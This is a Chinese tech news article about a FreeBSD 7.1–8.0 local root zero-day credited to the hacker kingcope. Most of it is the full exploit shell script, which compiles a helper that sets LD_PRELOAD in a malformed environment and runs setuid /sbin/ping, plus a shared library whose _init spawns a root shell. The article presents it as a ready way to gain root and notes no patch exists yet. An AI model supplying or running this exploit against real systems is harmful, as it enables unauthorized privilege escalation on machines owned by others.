FreeBSD 7.1到8.0皆有漏洞 可獲root權(quán)限堪稱圣誕禮物
在展示該漏洞威力之前,我們科普一下著名黑客kingcope。從2007年6月至今,他一共公開了12個安全漏洞(沒公開的不知道有多少),其中 FreeBSD和Sun Solaris各兩個,微軟四個,Oracle、mysql、NcFTPD和nginx各一個,同時他還編寫了多個漏洞的攻擊代碼,例如 Sun Solaris telnetd及近期的IIS FTPd、Debian OpenSSH等。
接下來我們在最新的FreeBSD 8.0中重現(xiàn)一下該漏洞的攻擊過程,請注意圖中的紅色部分;我們只要執(zhí)行名為fbsd8localroot.sh的腳本,就可以輕易的獲得root權(quán)限。
相關腳本如下:
#!/bin/sh
echo “FreeBSD local r00t zeroday by Kingcope on November 2009″
cat > env.c << _EOF
#include
main() {
extern char **environ;
environ = (char**)malloc(8096);
environ[0] = (char*)malloc(1024);
environ[1] = (char*)malloc(1024);
strcpy(environ[1], “LD_PRELOAD=/tmp/w00t.so.1.0″);
execl(”/sbin/ping”, “ping”, 0);
}
_EOF
gcc env.c -o env > /dev/null 2>&1
#download from baoz.net
cat > program.c << _EOF
#include
#include
#include
#include
void _init() {
extern char **environ;
environ=NULL;
system(”echo ALEX-ALEX;/bin/sh”);
}
_EOF
gcc -o program.o -c program.c -fPIC ; gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles ; cp w00t.so.1.0 /tmp/w00t.so.1.0 ;./env
FreeBSD尚未就該0day漏洞發(fā)布安全公告及官方補丁,敬請關注素包子的博客http://baoz.net/freebsd8-localroot-0day/以獲取該漏洞的最新情況。
【編輯推薦】